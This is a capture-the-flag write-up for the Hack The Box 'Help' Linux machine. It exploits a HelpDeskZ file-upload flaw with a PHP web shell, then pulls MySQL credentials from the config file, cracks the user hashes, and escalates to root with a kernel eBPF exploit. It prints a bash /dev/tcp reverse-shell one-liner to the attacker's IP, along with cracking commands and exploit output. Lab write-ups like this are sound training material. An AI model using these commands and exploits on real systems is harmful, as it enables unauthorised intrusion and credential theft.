Hack The Box Help Writeup (Easy Linux)
Easy Linux box. HelpDeskZ stores a PHP shell even while rejecting it, its config leaks the MySQL root password, and CVE-2017-16995 gives root.
Summary
Help exposes SSH, Apache and a Node.js Express API on port 3000. The web root is only the default Ubuntu page, but feroxbuster finds /support running HelpDeskZ, which carries a known arbitrary file upload flaw. Attaching a p0wny PHP shell to a new ticket is rejected with an error yet still written to disk, and the public exploit script predicts the stored filename, so browsing to it gives command execution and then a reverse shell as help. The HelpDeskZ config.php holds the MySQL root password helpme, and the user hashes in the support database crack with hashcat to godhelpmeplz, which the service on port 3000 turns out to reuse. The kernel is 4.4.0-116, so compiling and running the CVE-2017-16995 eBPF exploit on the box patches the credential structure and returns a root shell.
Initial Notes
Add help.htb to /etc/hosts
1
echo 10.129.140.98 help.htb | sudo tee -a /etc/hosts
Service Enumeration
I ran an nmap scan against the machine and it returned me the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5bb4d9cdeaf6bbfba8c227ad8d74328 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZY4jlvWqpdi8bJPUnSkjWmz92KRwr2G6xCttorHM8Rq2eCEAe1ALqpgU44L3potYUZvaJuEIsBVUSPlsKv+ds8nS7Mva9e9ztlad/fzBlyBpkiYxty+peoIzn4lUNSadPLtYH6khzN2PwEJYtM/b6BLlAAY5mDsSF0Cz3wsPbnu87fNdd7WO0PKsqRtHpokjkJ22uYJoDSAM06D7uBuegMK/sWTVtrsDakb1Tb6H8+D0y6ZQoE7XyHSqD0OABV3ON39GzLBOnob4Gq8aegKBMa3hT/Xx9Iac6t5neiIABnG4UP03gm207oGIFHvlElGUR809Q9qCJ0nZsup4bNqa/
| 256 d5b010507486a39fc5536f3b4a246119 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHINVMyTivG0LmhaVZxiIESQuWxvN2jt87kYiuPY2jyaPBD4DEt8e/1kN/4GMWj1b3FE7e8nxCL4PF/lR9XjEis=
| 256 e21b88d37621d41e38154a8111b79907 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHxDPln3rCQj04xFAKyecXJaANrW3MBZJmbhtL4SuDYX
80/tcp open http syn-ack Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http syn-ack Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Server Enumeration
The web server displays just the default Ubuntu Apache2 default page
I ran feroxbuster with a wordlist from SecLists against the web server and it immediately got me /support endpoint:
This is my command:
1
feroxbuster --url http://help.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -t 10
The /support endpoint hosts HelpDeskZ
A quick google search returned promising vulnerabilities:
Remote Code Execution - Arbitrary File Upload
I downloaded an exploit from github to my local machine.
The vulnerability is described as an arbitrary file upload vulnerability where the malicious user is able to upload files containing malicious php code.
First, I grabbed powny php shell from github and saved it locally as “evil.php”.
Then, I used the website to create a new ticket, attaching “evil.php”:
When I submit the ticket, it says that the file is not allowed:
However, despite the error message, the file was actually uploaded and saved to the remote machine! By using the exploit script from earlier, I could guess the filename of my uploaded php shell:
I accessed the webshell through my web browser, and as you can see from the screenshot below, the code executes perfectly:
To get a reverse shell, I first opened a netcat listener on my machine:
1
2
$ nc -lvnp 1337
listening on [any] 1337 ...
And then used the webshell to execute this:
1
bash -c 'bash -i >& /dev/tcp/10.10.14.242/1337 0>&1'
Immediately, I got a reverse shell connection as the “help” user. To stabilize the shell:
1
2
3
4
5
6
7
8
9
10
help@help:/var/www/html/support/uploads/tickets$ export TERM=xterm
help@help:/var/www/html/support/uploads/tickets$ python3 -c 'import pty; pty.spawn("/bin/bash")'
help@help:/var/www/html/support/uploads/tickets$ ^Z
[1]+ Stopped nc -lvnp 1337
$ stty raw -echo;fg
help@help:/var/www/html/support/uploads/tickets$
Privilege Escalation
By looking at the files for the HelpDeskZ installation, I found the credentials for MySQL in /var/www/html/support/includes/config.php:
1
2
3
4
5
6
7
8
<?php
$config['Database']['dbname'] = 'support';
$config['Database']['tableprefix'] = '';
$config['Database']['servername'] = 'localhost';
$config['Database']['username'] = 'root';
$config['Database']['password'] = 'helpme';
$config['Database']['type'] = 'mysqli';
?>
I connected to the database using the credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$ mysql -u root -p;
Enter password:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| support |
| sys |
+--------------------+
5 rows in set (0.01 sec)
mysql> use support
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+------------------------+
| Tables_in_support |
+------------------------+
| articles |
| attachments |
| canned_response |
| custom_fields |
| departments |
| emails |
| error_log |
| file_types |
| knowledgebase_category |
| login_attempt |
| login_log |
| news |
| pages |
| priority |
| settings |
| staff |
| tickets |
| tickets_messages |
| users |
+------------------------+
19 rows in set (0.00 sec)
mysql> select * from users;
+----+------------+----------+-----------------------+------------------------------------------+------------------+--------+
| id | salutation | fullname | email | password | timezone | status |
+----+------------+----------+-----------------------+------------------------------------------+------------------+--------+
| 1 | 0 | helpme | helpme@helpme.com | c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca | Indian/Christmas | 1 |
| 2 | 0 | xcvxv | lolololol@yopmail.com | ec09fa0d0ba74336ea7fe392869adb198242f15a | NULL | 1 |
| 3 | 0 | hacker | hacker@hacker.com | 7a0cf8d0f4e034162ad6af31e113566edc8ef917 | NULL | 1 |
+----+------------+----------+-----------------------+------------------------------------------+------------------+--------+
8 rows in set (0.00 sec)
mysql>
I saved both passwords (for the two users besides my user)to a text file:
1
2
3
$ cat passwords.hash
c3b3bd1eb5142e29adb0044b16ee4d402d06f9ca
ec09fa0d0ba74336ea7fe392869adb198242f15a
And used hashcat to crack it:
1
hashcat passwords.hash /usr/share/wordlists/rockyou.txt -m 100
It cracked almost instantly, revealing the password for the helpme user:
1
godhelpmeplz
I logged in to the HelpDeskZ application as “helpme@helpme.com” but the user has no tickets:
By enumerating the system internals, I found more instances to a password for “helpme” using the following command:
1
help@help:/home/help/help$ grep -ri 'helpme' .
Running on port 3000:
1
2
3
4
5
3000/tcp open http syn-ack Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
I cracked the password hash again, but it’s the same password from the other hash in HelpDeskZ database:
1
5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz
That wasn’t very helpful.
I noticed the kernel version is very outdated:
1
2
help@help:/home/help/help$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
I googled for this version and found a public CVE + Exploit.
I did transfer the C code to the machine (saved as “a”), compiled it and ran it to get root!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
help@help:/home/help$ gcc a.c -o a
help@help:/home/help$ chmod +x a
help@help:/home/help$ ./a
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880012863500
[*] Leaking sock struct from ffff88003d052800
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88003db7dd80
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff88003db7dd80
[*] credentials patched, launching shell...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)